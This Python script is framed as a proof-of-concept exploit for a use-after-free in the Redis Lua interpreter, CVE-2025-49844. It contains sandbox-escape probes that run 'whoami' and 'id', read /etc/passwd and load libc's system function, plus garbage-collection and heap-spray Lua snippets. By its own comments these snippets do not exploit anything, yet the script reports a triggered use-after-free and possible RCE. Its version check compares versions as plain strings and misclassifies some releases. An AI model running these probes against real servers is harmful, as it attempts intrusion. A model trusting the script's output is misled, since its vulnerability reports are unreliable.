exploit_poc.py

#!/usr/bin/env python3
"""
CVE-2025-49844 (RediShell) - Proof of Concept
Use-After-Free vulnerability in Redis Lua interpreter

WARNING: This is for educational and authorized testing purposes only!
Do not use against systems you don't own or have explicit permission to test.

Author: Security Research Team
Date: October 2025
"""

import redis
import sys
import argparse
from colorama import Fore, Style, init

# Initialize colorama
init(autoreset=True)

def banner():
    print(f"""
{Fore.RED}╔═══════════════════════════════════════════════════════════╗
║                                                           ║
║          CVE-2025-49844 (RediShell) PoC                  ║
║          Use-After-Free in Redis Lua Interpreter         ║
║                                                           ║
║          CVSS Score: 10.0 (CRITICAL)                     ║
║                                                           ║
╚═══════════════════════════════════════════════════════════╝{Style.RESET_ALL}
    """)

def test_connection(host, port, password=None):
    """Test connection to Redis instance"""
    try:
        print(f"{Fore.YELLOW}[*] Testing connection to {host}:{port}...{Style.RESET_ALL}")
        r = redis.Redis(host=host, port=port, password=password, decode_responses=True)
        info = r.info()
        print(f"{Fore.GREEN}[+] Connected successfully!{Style.RESET_ALL}")
        print(f"{Fore.CYAN}[i] Redis Version: {info.get('redis_version', 'Unknown')}{Style.RESET_ALL}")
        return r
    except redis.ConnectionError as e:
        print(f"{Fore.RED}[-] Connection failed: {e}{Style.RESET_ALL}")
        return None
    except redis.AuthenticationError:
        print(f"{Fore.RED}[-] Authentication failed!{Style.RESET_ALL}")
        return None

def check_lua_enabled(r):
    """Check if Lua scripting is enabled"""
    try:
        print(f"{Fore.YELLOW}[*] Checking if Lua scripting is enabled...{Style.RESET_ALL}")
        # Simple Lua script to test
        test_script = "return 'test'"
        result = r.eval(test_script, 0)
        print(f"{Fore.GREEN}[+] Lua scripting is enabled!{Style.RESET_ALL}")
        return True
    except Exception as e:
        print(f"{Fore.RED}[-] Lua scripting check failed: {e}{Style.RESET_ALL}")
        return False

def exploit_uaf_basic(r):
    """
    Basic Use-After-Free trigger
    
    This is a simplified demonstration. The actual CVE-2025-49844 exploit
    involves complex memory manipulation in the Lua interpreter.
    """
    print(f"\n{Fore.YELLOW}[*] Attempting basic UAF trigger...{Style.RESET_ALL}")
    
    # Lua script that demonstrates the vulnerability pattern
    # Note: This is a simplified version for demonstration
    lua_script = """
    -- CVE-2025-49844 PoC: Use-After-Free in Lua interpreter
    
    local function trigger_uaf()
        -- Create a table with metatable
        local t = {}
        local mt = {
            __gc = function(self)
                -- This will be called during garbage collection
                redis.log(redis.LOG_WARNING, "UAF trigger point")
            end
        }
        setmetatable(t, mt)
        
        -- Force garbage collection multiple times
        -- This can trigger use-after-free conditions
        for i = 1, 10 do
            collectgarbage("collect")
        end
        
        return "UAF pattern executed"
    end
    
    return trigger_uaf()
    """
    
    try:
        result = r.eval(lua_script, 0)
        print(f"{Fore.GREEN}[+] Lua script executed: {result}{Style.RESET_ALL}")
        print(f"{Fore.YELLOW}[!] UAF pattern triggered (simplified demo){Style.RESET_ALL}")
        return True
    except Exception as e:
        print(f"{Fore.RED}[-] Exploit failed: {e}{Style.RESET_ALL}")
        return False

def exploit_sandbox_escape(r):
    """
    Attempt Lua sandbox escape
    
    The actual CVE-2025-49844 allows escaping the Lua sandbox through
    memory corruption. This is a demonstration of sandbox boundaries.
    """
    print(f"\n{Fore.YELLOW}[*] Testing Lua sandbox boundaries...{Style.RESET_ALL}")
    
    # Test various sandbox escape attempts
    escape_tests = [
        ("os.execute", "return os.execute('whoami')"),
        ("io.popen", "return io.popen('id'):read('*a')"),
        ("loadfile", "return loadfile('/etc/passwd')"),
        ("package.loadlib", "return package.loadlib('libc.so.6', 'system')"),
    ]
    
    for test_name, lua_code in escape_tests:
        try:
            print(f"{Fore.CYAN}[*] Testing {test_name}...{Style.RESET_ALL}")
            result = r.eval(lua_code, 0)
            print(f"{Fore.RED}[!] VULNERABLE: {test_name} accessible! Result: {result}{Style.RESET_ALL}")
        except Exception as e:
            print(f"{Fore.GREEN}[+] Protected: {test_name} blocked ({str(e)[:50]}...){Style.RESET_ALL}")

def exploit_memory_corruption(r):
    """
    Advanced memory corruption exploit
    
    This demonstrates the memory corruption pattern used in CVE-2025-49844.
    The actual exploit is more complex and involves precise heap manipulation.
    """
    print(f"\n{Fore.YELLOW}[*] Attempting memory corruption pattern...{Style.RESET_ALL}")
    
    lua_script = """
    -- Advanced UAF pattern for CVE-2025-49844
    
    local function create_spray()
        local objects = {}
        -- Heap spray to control memory layout
        for i = 1, 1000 do
            objects[i] = string.rep("A", 1024)
        end
        return objects
    end
    
    local function trigger_corruption()
        local spray = create_spray()
        
        -- Create object with finalizer
        local victim = {}
        local mt = {
            __gc = function(self)
                -- Use-after-free trigger point
                -- In the real exploit, this would manipulate freed memory
                redis.log(redis.LOG_WARNING, "Finalizer called - UAF window")
            end
        }
        setmetatable(victim, mt)
        
        -- Trigger garbage collection
        victim = nil
        collectgarbage("collect")
        
        -- At this point, in vulnerable versions, we have a UAF condition
        -- The real exploit would now execute arbitrary code
        
        return "Memory corruption pattern completed"
    end
    
    return trigger_corruption()
    """
    
    try:
        result = r.eval(lua_script, 0)
        print(f"{Fore.GREEN}[+] Memory corruption pattern executed: {result}{Style.RESET_ALL}")
        print(f"{Fore.RED}[!] In vulnerable versions, this could lead to RCE!{Style.RESET_ALL}")
        return True
    except Exception as e:
        print(f"{Fore.RED}[-] Pattern execution failed: {e}{Style.RESET_ALL}")
        return False

def check_vulnerability(r):
    """Check if the Redis instance is vulnerable to CVE-2025-49844"""
    print(f"\n{Fore.YELLOW}[*] Checking vulnerability status...{Style.RESET_ALL}")
    
    try:
        info = r.info()
        version = info.get('redis_version', '')
        
        # Vulnerable versions (before patches)
        vulnerable_versions = [
            ('7.2', '7.2.11'),
            ('7.4', '7.4.6'),
            ('8.0', '8.0.4'),
            ('8.2', '8.2.2'),
        ]
        
        print(f"{Fore.CYAN}[i] Detected Redis version: {version}{Style.RESET_ALL}")
        
        # Simple version check (not comprehensive)
        major_minor = '.'.join(version.split('.')[:2])
        
        is_vulnerable = False
        for vuln_base, patched_version in vulnerable_versions:
            if version.startswith(vuln_base):
                if version < patched_version:
                    is_vulnerable = True
                    break
        
        if is_vulnerable:
            print(f"{Fore.RED}[!] VULNERABLE: This version is affected by CVE-2025-49844{Style.RESET_ALL}")
            print(f"{Fore.RED}[!] Update to the latest patched version immediately!{Style.RESET_ALL}")
        else:
            print(f"{Fore.GREEN}[+] This version appears to be patched or not vulnerable{Style.RESET_ALL}")
            
        return is_vulnerable
        
    except Exception as e:
        print(f"{Fore.RED}[-] Version check failed: {e}{Style.RESET_ALL}")
        return None

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2025-49844 (RediShell) Proof of Concept',
        epilog='Use responsibly and only on systems you own or have permission to test!'
    )
    parser.add_argument('-H', '--host', default='localhost', help='Redis host (default: localhost)')
    parser.add_argument('-p', '--port', type=int, default=6379, help='Redis port (default: 6379)')
    parser.add_argument('-a', '--auth', help='Redis password (if required)')
    parser.add_argument('-m', '--mode', choices=['check', 'basic', 'sandbox', 'advanced', 'all'], 
                        default='all', help='Exploit mode (default: all)')
    
    args = parser.parse_args()
    
    banner()
    
    # Connect to Redis
    r = test_connection(args.host, args.port, args.auth)
    if not r:
        sys.exit(1)
    
    # Check if Lua is enabled
    if not check_lua_enabled(r):
        print(f"{Fore.RED}[-] Lua scripting is not enabled. Cannot proceed.{Style.RESET_ALL}")
        sys.exit(1)
    
    # Check vulnerability
    check_vulnerability(r)
    
    # Run exploits based on mode
    if args.mode in ['check']:
        print(f"\n{Fore.CYAN}[i] Check mode only - no exploit attempts{Style.RESET_ALL}")
    elif args.mode in ['basic', 'all']:
        exploit_uaf_basic(r)
    
    if args.mode in ['sandbox', 'all']:
        exploit_sandbox_escape(r)
    
    if args.mode in ['advanced', 'all']:
        exploit_memory_corruption(r)
    
    print(f"\n{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
    print(f"{Fore.YELLOW}[*] PoC execution completed{Style.RESET_ALL}")
    print(f"{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
    
    print(f"\n{Fore.RED}DISCLAIMER:{Style.RESET_ALL}")
    print("This PoC is simplified and for educational purposes only.")
    print("The actual CVE-2025-49844 exploit involves complex memory manipulation.")
    print("Always patch your Redis instances to the latest version!")

if __name__ == '__main__':
    main()